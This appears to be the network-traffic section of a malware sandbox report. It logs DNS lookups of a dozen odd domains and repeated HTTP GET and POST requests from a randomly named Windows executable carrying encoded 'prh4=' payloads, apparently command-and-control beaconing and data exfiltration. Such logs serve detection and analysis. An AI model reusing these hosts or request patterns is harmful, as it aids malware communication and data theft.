Nov 20, 2024 09:23:12.731874943 CET	53	51403	1.1.1.1	192.168.2.10
Nov 20, 2024 09:23:25.773735046 CET	52537	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:23:25.813204050 CET	53	52537	1.1.1.1	192.168.2.10
Nov 20, 2024 09:23:39.179894924 CET	55481	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:23:39.860308886 CET	53	55481	1.1.1.1	192.168.2.10
Nov 20, 2024 09:23:53.492288113 CET	58344	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:23:53.641576052 CET	53	58344	1.1.1.1	192.168.2.10
Nov 20, 2024 09:24:06.868071079 CET	60976	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:24:07.645459890 CET	53	60976	1.1.1.1	192.168.2.10
Nov 20, 2024 09:24:21.179943085 CET	51369	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:24:21.221683025 CET	53	51369	1.1.1.1	192.168.2.10
Nov 20, 2024 09:24:34.572244883 CET	59450	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:24:34.965213060 CET	53	59450	1.1.1.1	192.168.2.10
Nov 20, 2024 09:24:48.624867916 CET	64886	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:24:48.815006971 CET	53	64886	1.1.1.1	192.168.2.10
Nov 20, 2024 09:25:02.102731943 CET	50488	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:25:02.117027998 CET	53	50488	1.1.1.1	192.168.2.10
Nov 20, 2024 09:25:15.523646116 CET	54755	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:25:16.536062002 CET	54755	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:25:17.141839027 CET	53	54755	1.1.1.1	192.168.2.10
Nov 20, 2024 09:25:17.141915083 CET	53	54755	1.1.1.1	192.168.2.10
Nov 20, 2024 09:25:30.430907011 CET	62424	53	192.168.2.10	1.1.1.1
Nov 20, 2024 09:25:30.586674929 CET	53	62424	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 09:22:54.595863104 CET	192.168.2.10	1.1.1.1	0x10a7	Standard query (0)	www.zkdamdjj.shop	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:10.992630005 CET	192.168.2.10	1.1.1.1	0x115a	Standard query (0)	www.75178.club	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:12.004570007 CET	192.168.2.10	1.1.1.1	0x115a	Standard query (0)	www.75178.club	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:25.773735046 CET	192.168.2.10	1.1.1.1	0x83ed	Standard query (0)	www.orbitoasis.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:39.179894924 CET	192.168.2.10	1.1.1.1	0x6ee8	Standard query (0)	www.thaor56.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:53.492288113 CET	192.168.2.10	1.1.1.1	0x2325	Standard query (0)	www.earbudsstore.shop	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:06.868071079 CET	192.168.2.10	1.1.1.1	0xebe3	Standard query (0)	www.superiorfencing.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:21.179943085 CET	192.168.2.10	1.1.1.1	0x6806	Standard query (0)	www.beylikduzu616161.xyz	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:34.572244883 CET	192.168.2.10	1.1.1.1	0x1a7e	Standard query (0)	www.zxyck.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:48.624867916 CET	192.168.2.10	1.1.1.1	0xdb	Standard query (0)	www.dailyfuns.info	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:02.102731943 CET	192.168.2.10	1.1.1.1	0x11da	Standard query (0)	www.mydreamdeal.click	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:15.523646116 CET	192.168.2.10	1.1.1.1	0x943	Standard query (0)	www.maitreyatoys.world	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:16.536062002 CET	192.168.2.10	1.1.1.1	0x943	Standard query (0)	www.maitreyatoys.world	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:30.430907011 CET	192.168.2.10	1.1.1.1	0x327e	Standard query (0)	www.dating-apps-az-dn5.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 09:22:54.608515978 CET	1.1.1.1	192.168.2.10	0x10a7	No error (0)	www.zkdamdjj.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:22:54.608515978 CET	1.1.1.1	192.168.2.10	0x10a7	No error (0)	www.zkdamdjj.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:12.731858015 CET	1.1.1.1	192.168.2.10	0x115a	No error (0)	www.75178.club	uaslkd.skasdhu.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:23:12.731858015 CET	1.1.1.1	192.168.2.10	0x115a	No error (0)	uaslkd.skasdhu.huhusddfnsuegcdn.com	gtml.huksa.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:23:12.731858015 CET	1.1.1.1	192.168.2.10	0x115a	No error (0)	gtml.huksa.huhusddfnsuegcdn.com		23.167.152.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:12.731874943 CET	1.1.1.1	192.168.2.10	0x115a	No error (0)	www.75178.club	uaslkd.skasdhu.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:23:12.731874943 CET	1.1.1.1	192.168.2.10	0x115a	No error (0)	uaslkd.skasdhu.huhusddfnsuegcdn.com	gtml.huksa.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:23:12.731874943 CET	1.1.1.1	192.168.2.10	0x115a	No error (0)	gtml.huksa.huhusddfnsuegcdn.com		23.167.152.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:25.813204050 CET	1.1.1.1	192.168.2.10	0x83ed	No error (0)	www.orbitoasis.online	orbitoasis.online		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:23:25.813204050 CET	1.1.1.1	192.168.2.10	0x83ed	No error (0)	orbitoasis.online		66.29.132.194	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:39.860308886 CET	1.1.1.1	192.168.2.10	0x6ee8	No error (0)	www.thaor56.online	thaor56.online		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:23:39.860308886 CET	1.1.1.1	192.168.2.10	0x6ee8	No error (0)	thaor56.online		202.92.5.23	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:23:53.641576052 CET	1.1.1.1	192.168.2.10	0x2325	No error (0)	www.earbudsstore.shop		194.195.220.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:07.645459890 CET	1.1.1.1	192.168.2.10	0xebe3	No error (0)	www.superiorfencing.net	superiorfencing.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 09:24:07.645459890 CET	1.1.1.1	192.168.2.10	0xebe3	No error (0)	superiorfencing.net		103.230.159.86	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:21.221683025 CET	1.1.1.1	192.168.2.10	0x6806	No error (0)	www.beylikduzu616161.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:21.221683025 CET	1.1.1.1	192.168.2.10	0x6806	No error (0)	www.beylikduzu616161.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:34.965213060 CET	1.1.1.1	192.168.2.10	0x1a7e	No error (0)	www.zxyck.net		118.107.250.103	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:24:48.815006971 CET	1.1.1.1	192.168.2.10	0xdb	No error (0)	www.dailyfuns.info		209.74.77.109	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:02.117027998 CET	1.1.1.1	192.168.2.10	0x11da	No error (0)	www.mydreamdeal.click		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:02.117027998 CET	1.1.1.1	192.168.2.10	0x11da	No error (0)	www.mydreamdeal.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:17.141839027 CET	1.1.1.1	192.168.2.10	0x943	No error (0)	www.maitreyatoys.world		194.245.148.189	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:17.141915083 CET	1.1.1.1	192.168.2.10	0x943	No error (0)	www.maitreyatoys.world		194.245.148.189	A (IP address)	IN (0x0001)	false
Nov 20, 2024 09:25:30.586674929 CET	1.1.1.1	192.168.2.10	0x327e	No error (0)	www.dating-apps-az-dn5.xyz		199.59.243.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.zkdamdjj.shop

www.75178.club

www.orbitoasis.online

www.thaor56.online

www.earbudsstore.shop

www.superiorfencing.net

www.beylikduzu616161.xyz

www.zxyck.net

www.dailyfuns.info

www.mydreamdeal.click

www.maitreyatoys.world

www.dating-apps-az-dn5.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49847	188.114.97.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:22:54.631941080 CET	494	OUT	GET /vluw/?prh4=Qny9vPKZpQxlYqiHBli6Dgd1W9OHStFoVbvPUumHvVgYiZzoUIcT00lHd/ClJ1QqOMs3sbdEqCPN2Gnhne5G8ybZX+Xf8gbOpuID/3YwCRTfrNHUUA==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.zkdamdjj.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:22:55.944574118 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 08:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: https://zkdamdjj.shop/vluw/?prh4=Qny9vPKZpQxlYqiHBli6Dgd1W9OHStFoVbvPUumHvVgYiZzoUIcT00lHd/ClJ1QqOMs3sbdEqCPN2Gnhne5G8ybZX+Xf8gbOpuID/3YwCRTfrNHUUA==&_VK8=7pXD8zQxGFxP x-litespeed-cache-control: public,max-age=3600 x-litespeed-tag: 02a_HTTP.404,02a_HTTP.301,02a_404,02a_URL.a6d5303f744e03a41043b4a748aa35ee,02a_ x-litespeed-cache: miss CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NNiHXsjVAte7m8x96i6u%2Fsyzo755dDt6LjKyQ8GUGTWOvmIbrlbcCiT8zzFSMMN0GsppbNXc4j%2FdT1OpFKf06%2BQfXHjNbaHm%2Bin1Dr3lN9IIjF6s1LbzUfwbK28OV0zWjVeJ9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5708f1ea358c3f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=494&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0& Data Raw: Data Ascii:
Nov 20, 2024 09:22:55.944843054 CET	12	IN	Data Raw: 3d 30 22 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: =0"0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49961	23.167.152.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:12.760330915 CET	741	OUT	POST /a4h7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.75178.club Origin: http://www.75178.club Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.75178.club/a4h7/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 43 4e 53 6d 47 73 43 71 44 70 59 56 32 37 4e 53 4e 44 43 47 76 45 42 41 54 33 6d 56 72 6d 72 37 70 69 62 7a 53 2b 50 31 45 69 35 57 37 31 45 54 41 36 77 4c 6e 57 53 51 39 35 70 4a 57 54 4e 78 65 63 6c 30 46 34 2b 33 6e 2b 4b 34 41 4e 6a 64 50 38 6e 63 4c 48 42 61 56 53 6a 56 32 34 37 6f 72 36 67 6b 32 31 65 69 6c 65 56 50 4c 76 6a 45 4a 51 37 57 67 34 74 7a 37 52 42 48 74 76 34 53 49 34 4c 4a 4a 39 32 53 30 68 34 78 57 70 6e 30 65 4b 66 4d 34 64 6b 47 4d 4b 67 2f 75 6b 59 48 61 31 4f 4a 46 43 6f 75 4b 4e 75 70 78 6d 73 35 4b 6c 73 31 70 61 63 71 47 30 74 71 Data Ascii: prh4=CNSmGsCqDpYV27NSNDCGvEBAT3mVrmr7pibzS+P1Ei5W71ETA6wLnWSQ95pJWTNxecl0F4+3n+K4ANjdP8ncLHBaVSjV247or6gk21eileVPLvjEJQ7Wg4tz7RBHtv4SI4LJJ92S0h4xWpn0eKfM4dkGMKg/ukYHa1OJFCouKNupxms5Kls1pacqG0tq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49977	23.167.152.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:15.314382076 CET	765	OUT	POST /a4h7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.75178.club Origin: http://www.75178.club Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.75178.club/a4h7/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 43 4e 53 6d 47 73 43 71 44 70 59 56 31 61 39 53 49 69 43 47 2b 30 42 44 4e 6e 6d 56 79 32 72 33 70 69 58 7a 53 2f 4c 6c 45 55 52 57 37 52 55 54 42 2f 4d 4c 6b 57 53 51 79 5a 70 49 59 7a 4e 4d 65 63 70 57 46 36 36 33 6e 2b 75 34 41 4d 54 64 50 4d 62 64 4b 58 42 59 42 69 6a 58 38 59 37 6f 72 36 67 6b 32 31 4b 45 6c 66 39 50 4c 66 54 45 49 30 76 56 2b 6f 74 79 73 68 42 48 36 2f 35 36 49 34 4c 33 4a 38 36 6f 30 6e 38 78 57 72 50 30 65 66 7a 54 79 64 6b 49 43 71 68 59 74 56 35 6a 51 31 43 5a 42 6b 73 52 62 74 4f 51 37 6e 52 2b 62 30 4e 69 36 74 41 6b 49 79 59 41 74 73 5a 44 47 69 45 77 2f 4b 65 49 5a 6d 37 77 49 53 37 31 6c 67 3d 3d Data Ascii: prh4=CNSmGsCqDpYV1a9SIiCG+0BDNnmVy2r3piXzS/LlEURW7RUTB/MLkWSQyZpIYzNMecpWF663n+u4AMTdPMbdKXBYBijX8Y7or6gk21KElf9PLfTEI0vV+otyshBH6/56I4L3J86o0n8xWrP0efzTydkICqhYtV5jQ1CZBksRbtOQ7nR+b0Ni6tAkIyYAtsZDGiEw/KeIZm7wIS71lg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49978	23.167.152.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:17.856843948 CET	1778	OUT	POST /a4h7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.75178.club Origin: http://www.75178.club Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.75178.club/a4h7/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 43 4e 53 6d 47 73 43 71 44 70 59 56 31 61 39 53 49 69 43 47 2b 30 42 44 4e 6e 6d 56 79 32 72 33 70 69 58 7a 53 2f 4c 6c 45 55 70 57 37 47 38 54 42 59 59 4c 72 32 53 51 2f 35 70 4e 59 7a 4e 64 65 63 68 53 46 36 33 43 6e 38 47 34 53 61 48 64 59 50 44 64 41 58 42 59 65 79 6a 57 32 34 36 79 72 36 77 67 32 31 61 45 6c 66 39 50 4c 63 4c 45 4d 67 37 56 38 6f 74 7a 37 52 42 4c 74 76 34 58 49 2b 6a 34 4a 38 2b 34 31 57 41 78 57 4c 66 30 5a 74 72 54 30 4e 6c 75 50 4b 68 41 74 56 31 38 51 30 75 76 42 6b 77 37 62 75 65 51 32 57 38 65 45 77 46 70 68 64 4d 6e 4f 52 55 36 6d 73 5a 6b 4b 6e 56 47 30 6f 71 2f 45 45 53 38 64 44 65 77 39 55 66 36 50 55 50 2b 42 33 6f 6f 64 4a 4f 39 50 39 6f 44 4c 55 74 72 70 49 6b 6b 44 79 67 2b 39 4b 4f 50 65 6d 38 55 54 4a 5a 62 78 53 4a 36 57 70 31 54 39 4a 58 5a 47 42 71 46 78 4f 77 48 51 63 4b 58 47 72 6a 68 52 31 68 79 4a 50 64 46 68 33 78 4d 59 64 49 73 6b 36 75 31 5a 6e 44 54 79 45 39 2f 4d 63 64 32 4d 71 4e 37 54 48 79 61 7a 4f 46 51 62 69 69 4b 72 73 6c 4b 35 [TRUNCATED] Data Ascii: prh4=CNSmGsCqDpYV1a9SIiCG+0BDNnmVy2r3piXzS/LlEUpW7G8TBYYLr2SQ/5pNYzNdechSF63Cn8G4SaHdYPDdAXBYeyjW246yr6wg21aElf9PLcLEMg7V8otz7RBLtv4XI+j4J8+41WAxWLf0ZtrT0NluPKhAtV18Q0uvBkw7bueQ2W8eEwFphdMnORU6msZkKnVG0oq/EES8dDew9Uf6PUP+B3oodJO9P9oDLUtrpIkkDyg+9KOPem8UTJZbxSJ6Wp1T9JXZGBqFxOwHQcKXGrjhR1hyJPdFh3xMYdIsk6u1ZnDTyE9/Mcd2MqN7THyazOFQbiiKrslK5rYRddWjEuuBL9TjwZsJXQCbZGtfhV5xUm+JV3s2QndHIA17NhOk0VB2JWRKThRI3d4RQO9F8X7RJBE7yM6zULNHXlfNLdlRiyGq7pjw/e/tjtCPCbWWLUogkH8ot0nAa+dKvzIcmx+VmOP7I93+TXlyDlgEcHJjMOpaCs3lQOcOzwSHhcYj4cCYwyQIsA/rc9KBv6WW92ZWNjpzJWh1s/JOpThyHm+SvbWTs6CeGCNKPDPP0LsOHHaL44BEJbEfVZs2OOycv8VqUNdnvk4agxGV3e+ONVNX+/5bgyJmPNiMoRrkUTruT/DLKFKTQvQkBubU9VT4rF9cX5fntEN4aSKWjAN0cY0kKhAUiMUoWrnWNaEH5HMabs1Ka8bTYct2sQxIjoqnZz3kO4BtJ4i8EbbSEczpHAKtgxPaR5n0JLcNPNfLrLJhh+0hUqLerYlSr5+KrWJyISJveUwu9KqqJBYvFBdkNC8tc5rsDAimug5xj6bZCOLbh4HPDvuikaF1vCpEdVj5iN2uIMtMMiVFEr2bRlJv7LCSrahD8IYLaAg2IEBvTDNR1ny8PrbXaElk1E2EGb2VHtYQ17mJBn4Vf6I+2C6DwP8p3esf10AQfSVV0EjzrlvwsenxM25rozsMDfipPnOOIs7dBiL8WNJolWZkgmqQl8kG/d9 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49979	23.167.152.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:20.397167921 CET	491	OUT	GET /a4h7/?prh4=PP6GFaOQILwxi5dhMSrYmidfGUiluWiM7xDYUPH7LXca8g8uO5tY4GvA0apkUDdsINAyEZvfq9K0A+PIYqHQIltxcg2u/Ln1i4sz2BSy8/lHA9faVw==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.75178.club Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49981	66.29.132.194	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:25.835645914 CET	762	OUT	POST /k6yn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.orbitoasis.online Origin: http://www.orbitoasis.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.orbitoasis.online/k6yn/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 67 50 42 36 32 5a 47 32 79 50 65 30 50 6d 62 50 61 63 6c 65 76 75 48 76 45 39 4e 61 4c 32 51 6c 49 53 38 74 31 48 76 4b 75 31 68 76 34 78 67 47 6f 42 64 61 4a 35 67 59 4f 34 58 56 46 69 41 47 57 73 76 6d 36 51 67 68 59 73 4d 4a 31 65 74 30 50 4b 4a 69 30 41 61 49 35 35 6f 66 69 50 34 50 66 4b 75 57 69 37 56 4e 67 47 46 59 31 39 6a 73 6e 4f 41 67 7a 47 72 33 38 6b 59 54 6f 42 6b 5a 69 72 5a 6a 30 4a 6d 46 32 6c 46 34 34 59 62 74 6c 32 52 46 6b 67 4d 32 44 48 48 6c 66 4a 42 58 39 41 69 43 30 68 67 4c 2b 65 36 51 4d 67 71 55 71 4c 76 33 34 63 71 73 4e 61 68 52 Data Ascii: prh4=gPB62ZG2yPe0PmbPaclevuHvE9NaL2QlIS8t1HvKu1hv4xgGoBdaJ5gYO4XVFiAGWsvm6QghYsMJ1et0PKJi0AaI55ofiP4PfKuWi7VNgGFY19jsnOAgzGr38kYToBkZirZj0JmF2lF44Ybtl2RFkgM2DHHlfJBX9AiC0hgL+e6QMgqUqLv34cqsNahR
Nov 20, 2024 09:23:26.444169998 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 20 Nov 2024 08:23:26 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 41 ad d4 bb b8 08 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 2b f3 cb cc ea cc fa ed b7 df 1e ff 89 5d 32 6b 43 e1 06 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 4d e7 db 6f 97 9f 89 5b 99 60 46 95 df bb c7 3a 6c 9e ee 98 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 16 a5 5b 3d d5 95 77 4f de 7d 4a c7 b4 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 2a 85 e9 27 e6 3f b2 82 eb f2 b0 70 cb ab 25 c8 3b ea a9 99 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 66 7c 5f da 66 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 90 b3 6a 30 cd ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 b6 32 e7 34 f8 fb 65 6a ff d9 37 0f 48 e7 de 33 93 30 3e 3d 0c a8 02 6c fb 65 20 b8 71 e3 56 a1 6d 7e 19 94 66 5a de 97 6e 11 7a 7f f9 71 59 19 9e dd 87 01 4a e4 dd [TRUNCATED] Data Ascii: 1359ZrHr?OAa{7j$A$@$Hn85d.PRbKpD#++]2kCA~{\|31pMo[`F:l,N{7_v`[=wO}J__d4O'?p%;OwMyVTW'mB\|\|iXf\|_f>_v1j0y;EYVr{]/\|24ej7H30>=le qVm~fZnzqYJ8L_QevxwiaSc8a?n]~gt/Y7p2M +`=L ]Hf/;E5vy}zA_\Whqo_P!.\c=$?Sg\_kw7Bkt7r=W3_w&8EPM/mI7d#8''@[YUe$zu;fp)n;J#<YWzuLsk9L`bsb\|0\|^%OAVWeB~Wnwx]7lyqWp>Pnn6F.\|XoPG+Sr>2hF"?f'KA{dK71>j#W{}>Lnn!AOh^:?8W
Nov 20, 2024 09:23:26.444343090 CET	224	IN	Data Raw: 73 c6 a7 04 4a e0 6f 6a 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 70 a4 2f 8a 19 8f c8 bc fb f3 cd 36 b7 a8 bd 19 ee 85 97 67 e5 25 42 3d 0c 0a 37 06 be ae b9 31 c0 7e 4e ef b1 80 fd b4 0f 83 20 74 1c 37 7d 63 a9 1f ed db 55 7c ba 20 fb d9 ae df cf 7b 63 Data Ascii: sJojxoOp/6g%B=71~N t7}cU\| {c_qQ~7/KQOEJ{_+-5j_. _WC@HCY~U!3gHbO5*z~qV
Nov 20, 2024 09:23:26.444375038 CET	1236	IN	Data Raw: 75 f5 81 71 bd 5c c6 af fc 47 bf b2 6f af d7 9b 0f 86 5e 8f 84 dc dc d3 fb 65 37 c2 79 b9 70 3f 6b ff 03 00 dd c4 eb cf 14 ff 46 f5 03 e7 33 99 00 d1 fe 2f 9c cf 8f 6e a3 2e e2 3f 39 66 65 3e 5c dc 08 9c a7 fe 5f 2c b3 74 47 c4 97 70 43 2f b5 16 Data Ascii: uq\Go^e7yp?kF3/n.?9fe>\_,tGpC/~F&}K?#CI/St{6!?co5CuZ@.P:}[dlR($};Lk! }q%fN~6_eAjxYPwgRgqSj\|Ij3Hy
Nov 20, 2024 09:23:26.444842100 CET	1236	IN	Data Raw: 0d ae ad 8f 43 82 0a 14 b7 c3 65 53 54 17 ad 20 8a 6a ac 46 8a d5 96 da 34 77 12 c7 82 03 96 5c af 58 a6 5d d3 35 b9 c5 91 72 25 86 ab 31 40 4c bb 1f 33 3e e5 b2 87 d8 94 26 51 45 b1 08 24 75 2d 48 4e 93 bb 72 6d 4a 99 26 66 8c b9 4f 7c 9c 56 fd Data Ascii: CeST jF4w\X]5r%1@L3>&QE$u-HNrmJ&fO\|V6]`A1U<5gO;"J><C&'6pAn%h!!.c@CYjH%:^,RZ3W-z\A=H6*A2Bu_YJp;mVXr$5Tu,b}
